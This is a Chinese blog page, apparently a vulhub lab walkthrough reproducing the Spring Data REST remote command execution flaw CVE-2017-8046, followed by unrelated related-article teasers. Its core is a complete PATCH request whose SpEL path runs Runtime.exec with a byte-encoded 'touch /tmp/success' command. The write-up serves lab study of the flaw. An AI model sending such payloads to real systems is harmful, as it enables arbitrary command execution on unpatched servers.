Spring Data Rest 远程命令执⾏命令(CVE-2017-8046) 靶场攻略

ops/2024/9/24 10:29:53/

靶场环境

vulhub/spring/CVE-2017-8046

漏洞复现

1. 访问 http://47.113.231.0:8080/customers/1

2.抓取数据包,使⽤PATCH请求来修改

PATCH /customers/1 HTTP/1.1
Host: 47.113.231.0:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 200

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,11
5} 表示的命令 touch /tmp/success ⾥⾯的数字是ascii码

3.进⼊docker容器内查看是否执⾏命令


http://www.ppmy.cn/ops/115238.html

相关文章

wpf如何进行数据绑定与动态数据操作?

前面两篇博文,我们比较清楚的介绍了开启wpf项目已经如何生成和使用事件来操作控件,这一篇到了我们把数据放进来的时候了,没有数据实际上任何软件都是没有灵魂的,下面我们详细介绍。 文章原出处:https://blog.csdn.net…

golang学习笔记10-循环结构

注:本人已有C,C,Python基础,只写本人认为的重点。 go的循环只有for循环,但有多个语法,可以实现C/C中的while和do while。当然,for循环也有break和continue,这点和C/C相同。 语法1: f…

WPF 自定义路由事件

WPF 自定义路由事件 一、自定义路由事件步骤 ① 注册路由事件    ② 为路由事件添加 CLR 事件包装器    ③ 创建可激发路由事件的方法 二、注册路由事件 EventManager.RegisterRoutedEvent(String, RoutingStrategy, Type, Type)     作用:将新的路由事件…

AOP实现自动化日志记录,并将日志记录到es中

在实际开发当中&#xff0c;日志记录是非常有必要的。将日志记录和业务逻辑解耦&#xff0c;可以引入日志框架&#xff08;如 SLF4J Logback&#xff09;并结合 AOP 实现自动化日志记录。 引入依赖 <dependency><groupId>org.slf4j</groupId><artifactI…

基于单片机与 PC 机通信的数据采集控制系统设计

摘 要 : 设计出基于单片机与 PC 机通信的数据采集控制系统方法 。 被控对象经传感器 、 电压变换电路 、 A/D 转换芯片与单片机相连, 可将现场参数信息传送至单片机 ; 单片机经继电器驱动控制被控对象运行 。 单片机与 PC 机经电平转换芯片相连, 实现远程通信功能 。…

(自用复习题)常微分方程01

题目来源 常微分方程(第四版) (王高雄,周之铭,朱思铭,王寿松) 高等教育出版社 书中习题1.2 5.求下列两个微分方程的公共解 y ′ y 2 2 x − x 4 , y ′ 2 x x 2 x 4 − y − y 2 yy^22x-x^4,y2xx^2x^4-y-y^2 y′y22x−x4,y′2xx2x4−y−y2 两方程的公共解满足 y 2 2 x…

华为HarmonyOS灵活高效的消息推送服务(Push Kit) -- 7 推送卡片刷新消息

场景介绍 如今衣食住行娱乐影音应用占据了大多数人的手机&#xff0c;一部手机可以满足日常大多需求&#xff0c;但对需要经常查看或进行简单操作的应用来说&#xff0c;总需要用户点开应用体验较繁琐。针对此种场景&#xff0c;HarmonyOS提供了Form Kit&#xff08;卡片开发服…

MATLAB中的无线通信系统测试和验证方法有哪些

在MATLAB中&#xff0c;无线通信系统的测试和验证是一个全面的过程&#xff0c;它涉及到信号处理、调制与解调、信道建模、误码率分析以及无线通信标准的实现。以下是一些关键的测试和验证方法&#xff1a; 信道建模&#xff1a;为了模拟真实的通信环境&#xff0c;MATLAB提供了…